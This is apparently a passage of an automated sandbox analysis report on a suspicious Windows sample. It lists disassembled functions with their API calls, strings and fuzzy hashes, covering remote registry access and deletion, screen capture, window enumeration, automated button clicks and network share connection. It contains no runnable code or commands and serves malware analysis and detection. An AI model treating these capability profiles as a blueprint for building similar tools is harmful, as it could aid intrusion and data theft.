                                      • VariantInit.OLEAUT32(?), ref: 00921626
                                      • SysFreeString.OLEAUT32(?), ref: 009216AA
                                      • VariantClear.OLEAUT32(?), ref: 009216F6
                                      • VariantClear.OLEAUT32(?), ref: 00921705
                                      • VariantInit.OLEAUT32(00000000), ref: 00921741
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
                                      • String ID: %4d%02d%02d%02d%02d%02d$Default
                                      • API String ID: 1234038744-3931177956
                                      • Opcode ID: cfae4944e0b645329b36ced2c4d1385466826abe40490673ca18c1b243af22b9
                                      • Instruction ID: 0c5ff2ac9256881cb34bfc7f04c4d1f2f900bdd5a8ced0ed8dde2c1aad58772e
                                      • Opcode Fuzzy Hash: cfae4944e0b645329b36ced2c4d1385466826abe40490673ca18c1b243af22b9
                                      • Instruction Fuzzy Hash: 6CD15671A00225EFDB10AF69E484BB9B7B4FF15700F108859F519EB2A5CB34EC60DB52
                                      Function 0093B535 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                        • Part of subcall function 0093C8BF: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0093B5D5,?,?), ref: 0093C8DC
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C918
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C98F
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C9C5
                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0093B61B
                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0093B699
                                      • RegDeleteValueW.ADVAPI32(?,?), ref: 0093B731
                                      • RegCloseKey.ADVAPI32(?), ref: 0093B7A5
                                      • RegCloseKey.ADVAPI32(?), ref: 0093B7C3
                                      • LoadLibraryA.KERNEL32(advapi32.dll), ref: 0093B819
                                      • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0093B82B
                                      • RegDeleteKeyW.ADVAPI32(?,?), ref: 0093B849
                                      • FreeLibrary.KERNEL32(00000000), ref: 0093B8AA
                                      • RegCloseKey.ADVAPI32(00000000), ref: 0093B8BB
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
                                      • String ID: RegDeleteKeyExW$advapi32.dll
                                      • API String ID: 146587525-4033151799
                                      • Opcode ID: 02b9de33aca526cf55d9d50992437f75b124aca39439e7414c6512276f7ddbd6
                                      • Instruction ID: 170164f9cf818e0618f337af2283cf90304b97b6f8eb9ba6cbe095fe2bda7175
                                      • Opcode Fuzzy Hash: 02b9de33aca526cf55d9d50992437f75b124aca39439e7414c6512276f7ddbd6
                                      • Instruction Fuzzy Hash: E6C17975208241AFD710DF28C495F6ABBE8FF84318F14849CE55A8B7A2CB71E945CF92
                                      Function 00932483 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetDC.USER32(00000000), ref: 009324FF
                                      • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0093250F
                                      • CreateCompatibleDC.GDI32(?), ref: 0093251B
                                      • SelectObject.GDI32(00000000,?), ref: 00932528
                                      • StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00932594
                                      • GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 009325D3
                                      • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 009325F7
                                      • SelectObject.GDI32(?,?), ref: 009325FF
                                      • DeleteObject.GDI32(?), ref: 00932608
                                      • DeleteDC.GDI32(?), ref: 0093260F
                                      • ReleaseDC.USER32(00000000,?), ref: 0093261A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                      • String ID: (
                                      • API String ID: 2598888154-3887548279
                                      • Opcode ID: f8583b7202c6f2d272ad4c1e5f001f833cbcd53622c29caf1292421ae87d5cf9
                                      • Instruction ID: e4d671d534b174cde32ef459946b84e30ace108e21c20b09286c5be9cfcd6296
                                      • Opcode Fuzzy Hash: f8583b7202c6f2d272ad4c1e5f001f833cbcd53622c29caf1292421ae87d5cf9
                                      • Instruction Fuzzy Hash: BA61F2B5D05219EFCF04CFA8D884EAEBBB6FF48710F208529E955A7210D774A941DF90
                                      Function 008ED9FD Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • ___free_lconv_mon.LIBCMT ref: 008EDA41
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED5F9
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED60B
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED61D
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED62F
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED641
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED653
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED665
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED677
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED689
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED69B
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED6AD
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED6BF
                                        • Part of subcall function 008ED5DC: _free.LIBCMT ref: 008ED6D1
                                      • _free.LIBCMT ref: 008EDA36
                                        • Part of subcall function 008E2958: RtlFreeHeap.NTDLL(00000000,00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000), ref: 008E296E
                                        • Part of subcall function 008E2958: GetLastError.KERNEL32(00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000,00000000), ref: 008E2980
                                      • _free.LIBCMT ref: 008EDA58
                                      • _free.LIBCMT ref: 008EDA6D
                                      • _free.LIBCMT ref: 008EDA78
                                      • _free.LIBCMT ref: 008EDA9A
                                      • _free.LIBCMT ref: 008EDAAD
                                      • _free.LIBCMT ref: 008EDABB
                                      • _free.LIBCMT ref: 008EDAC6
                                      • _free.LIBCMT ref: 008EDAFE
                                      • _free.LIBCMT ref: 008EDB05
                                      • _free.LIBCMT ref: 008EDB22
                                      • _free.LIBCMT ref: 008EDB3A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                      • String ID:
                                      • API String ID: 161543041-0
                                      • Opcode ID: 55fca6a5ff6c06a497edde3b0bae7f6ac0d9e9e59694e9b0673f469bdd025a33
                                      • Instruction ID: e20db4689f375a8e291c4e8bd49ff96300287cce40b07e1b595c1ee007ba2c4c
                                      • Opcode Fuzzy Hash: 55fca6a5ff6c06a497edde3b0bae7f6ac0d9e9e59694e9b0673f469bdd025a33
                                      • Instruction Fuzzy Hash: D331A071644389DFDB20AA3EE805F5A77E8FF02310F104429E458DB152DF35AE89C721
                                      Function 0091359E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 268windowtimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetClassNameW.USER32(?,?,00000100), ref: 009135DF
                                      • _wcslen.LIBCMT ref: 009135EA
                                      • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 009136DA
                                      • GetClassNameW.USER32(?,?,00000400), ref: 0091374F
                                      • GetDlgCtrlID.USER32(?), ref: 009137A5
                                      • GetWindowRect.USER32(?,?), ref: 009137CA
                                      • GetParent.USER32(?), ref: 009137E8
                                      • ScreenToClient.USER32(00000000), ref: 009137EF
                                      • GetClassNameW.USER32(?,?,00000100), ref: 00913869
                                      • GetWindowTextW.USER32(?,?,00000400), ref: 009138A5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
                                      • String ID: %s%u
                                      • API String ID: 4010501982-679674701
                                      • Opcode ID: 7a0d61f04a6737a1cd0735820be1e2b8aa70423e7a7e7562bbdf4cdbb5ec8b49
                                      • Instruction ID: 097dc74b69d7d2c574ab8b2224f9982a3b4553b8a42781226d97e60e2ac4f7d4
                                      • Opcode Fuzzy Hash: 7a0d61f04a6737a1cd0735820be1e2b8aa70423e7a7e7562bbdf4cdbb5ec8b49
                                      • Instruction Fuzzy Hash: E5A1807130570AAFD718DF24C885BEAB7B9FF44354F008629F99AD2190DB30EA85CB91
                                      Function 0091489C Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 255COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetClassNameW.USER32(?,?,00000400), ref: 009148DC
                                      • GetWindowTextW.USER32(?,?,00000400), ref: 00914922
                                      • _wcslen.LIBCMT ref: 00914933
                                      • CharUpperBuffW.USER32(?,00000000), ref: 0091493F
                                      • _wcsstr.LIBVCRUNTIME ref: 00914974
                                      • GetClassNameW.USER32(00000018,?,00000400), ref: 009149AC
                                      • GetWindowTextW.USER32(?,?,00000400), ref: 009149E9
                                      • GetClassNameW.USER32(00000018,?,00000400), ref: 00914A37
                                      • GetClassNameW.USER32(?,?,00000400), ref: 00914A71
                                      • GetWindowRect.USER32(?,?), ref: 00914AE1
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
                                      • String ID: ThumbnailClass
                                      • API String ID: 1311036022-1241985126
                                      • Opcode ID: efdd10844b3b6060e22dedbfd2141e49ff757d4898680dd93d04308cd6867aa7
                                      • Instruction ID: babe48f7e1b307c0d74b6e9428f6abd29e36e2e2a6f42d3d1e4e1c8851a68d78
                                      • Opcode Fuzzy Hash: efdd10844b3b6060e22dedbfd2141e49ff757d4898680dd93d04308cd6867aa7
                                      • Instruction Fuzzy Hash: A691B17120830A9FDB04DF14C485BAA77ECFF88714F04856AFD899A196DB30DD85CBA2
                                      Function 0093CB5B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0093CB8B
                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0093CBB4
                                      • FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0093CC6F
                                        • Part of subcall function 0093CB5B: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0093CBD1
                                        • Part of subcall function 0093CB5B: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0093CBE4
                                        • Part of subcall function 0093CB5B: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0093CBF6
                                        • Part of subcall function 0093CB5B: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0093CC2C
                                        • Part of subcall function 0093CB5B: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0093CC4F
                                      • RegDeleteKeyW.ADVAPI32(?,?), ref: 0093CC1A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
                                      • String ID: RegDeleteKeyExW$advapi32.dll
                                      • API String ID: 2734957052-4033151799
                                      • Opcode ID: ce4be91b1f55ae7be6e48de4ec667ccb2dd6bb1c783b4b262a7ababb36279227
                                      • Instruction ID: c3f18377efad431418215b43b65576719c0aded9cdabc6118f14c6ed0e2bd17a
                                      • Opcode Fuzzy Hash: ce4be91b1f55ae7be6e48de4ec667ccb2dd6bb1c783b4b262a7ababb36279227
                                      • Instruction Fuzzy Hash: 34318EB5902528BFDB209B91DC88EEFBB7CEF56740F000565B846E2101DB349E45EBA0
                                      Function 0091E5CE Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • timeGetTime.WINMM ref: 0091E5D2
                                        • Part of subcall function 008CE465: timeGetTime.WINMM(?,?,0091E5F2), ref: 008CE469
                                      • Sleep.KERNEL32(0000000A), ref: 0091E5FF
                                      • EnumThreadWindows.USER32(?,Function_0006E583,00000000), ref: 0091E623
                                      • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0091E645
                                      • SetActiveWindow.USER32 ref: 0091E664
                                      • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0091E672
                                      • SendMessageW.USER32(00000010,00000000,00000000), ref: 0091E691
                                      • Sleep.KERNEL32(000000FA), ref: 0091E69C
                                      • IsWindow.USER32 ref: 0091E6A8
                                      • EndDialog.USER32(00000000), ref: 0091E6B9
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                      • String ID: BUTTON
                                      • API String ID: 1194449130-3405671355
                                      • Opcode ID: dc02ca1b6f8daf71654b1d5fbc7c9e975023d453b6b51829459dc042a3bef08a
                                      • Instruction ID: 5b220d9a821930545a39b9ba8b778b1ee70fa67fc59be8cade7466c91511e306
                                      • Opcode Fuzzy Hash: dc02ca1b6f8daf71654b1d5fbc7c9e975023d453b6b51829459dc042a3bef08a
                                      • Instruction Fuzzy Hash: 5C21ABB432D209AFEB115F20EC89F693BADF796785F445416FC11812B1EB719C80BB14
                                      Function 0091E91A Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0091E97B
                                      • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0091E991
                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0091E9A2
                                      • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0091E9B4
                                      • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0091E9C5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: SendString$_wcslen
                                      • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                      • API String ID: 2420728520-1007645807
                                      • Opcode ID: 234eaaa929c3ee3bcea97b9f4155f101720436721e800216a0dea81b7c945f66
                                      • Instruction ID: eaab40394082cd3581a397db9bb56e31945ef63dc6bae547b89cb9ecdefcad14
                                      • Opcode Fuzzy Hash: 234eaaa929c3ee3bcea97b9f4155f101720436721e800216a0dea81b7c945f66
                                      • Instruction Fuzzy Hash: A711A332A9065979D720B7A98C4AEFF7F7CEBD2B04F000429B915E31D1DAB05D44C5B1
                                      Function 008CACB8 Relevance: 18.1, APIs: 12, Instructions: 137COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CADC4: GetWindowLongW.USER32(?,000000EB), ref: 008CADD2
                                      • GetSysColor.USER32(0000000F), ref: 008CACE2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ColorLongWindow
                                      • String ID:
                                      • API String ID: 259745315-0
                                      • Opcode ID: c131d045db3f2e8f6bbba53eb108518ea398055ab1f67eef5e9cf1a4bfac7fdc
                                      • Instruction ID: 1ab5ac412bb025ccc25eaaee88fe1b734f4bd8ad972f8d566be09dd7514d2533
                                      • Opcode Fuzzy Hash: c131d045db3f2e8f6bbba53eb108518ea398055ab1f67eef5e9cf1a4bfac7fdc
                                      • Instruction Fuzzy Hash: A041BF75109648AFDB285B28DC48FB93779FB0677AF144609FAA2CB1E1C631DC41EB12
                                      Function 00919600 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,009003D3,?,0000138C,?,?,?,?,00000000,?), ref: 00919635
                                      • LoadStringW.USER32(00000000,?,009003D3,?), ref: 0091963E
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,009003D3,?,0000138C,?,?,?,?,00000000,?,?), ref: 00919660
                                      • LoadStringW.USER32(00000000,?,009003D3,?), ref: 00919663
                                      • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00919784
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: HandleLoadModuleString$Message_wcslen
                                      • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                      • API String ID: 747408836-2268648507
                                      • Opcode ID: 3f6ed9f000053d08ed2455da2d7b8c4d051578091e2335b2abac11f29cd329c3
                                      • Instruction ID: edc1a008d46f57965108bb367a9471aa252741ba4e3a7745b4475b251f111209
                                      • Opcode Fuzzy Hash: 3f6ed9f000053d08ed2455da2d7b8c4d051578091e2335b2abac11f29cd329c3
                                      • Instruction Fuzzy Hash: ED415F72901219AACF04EBE8CD96EEEB778FF55344F100025F506B2192EB756F49CB62
                                      Function 009105C7 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                      • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 0091068B
                                      • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 009106A7
                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 009106C3
                                      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 009106ED
                                      • CLSIDFromString.COMBASE(?,000001FE), ref: 00910715
                                      • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00910720
                                      • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00910725
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
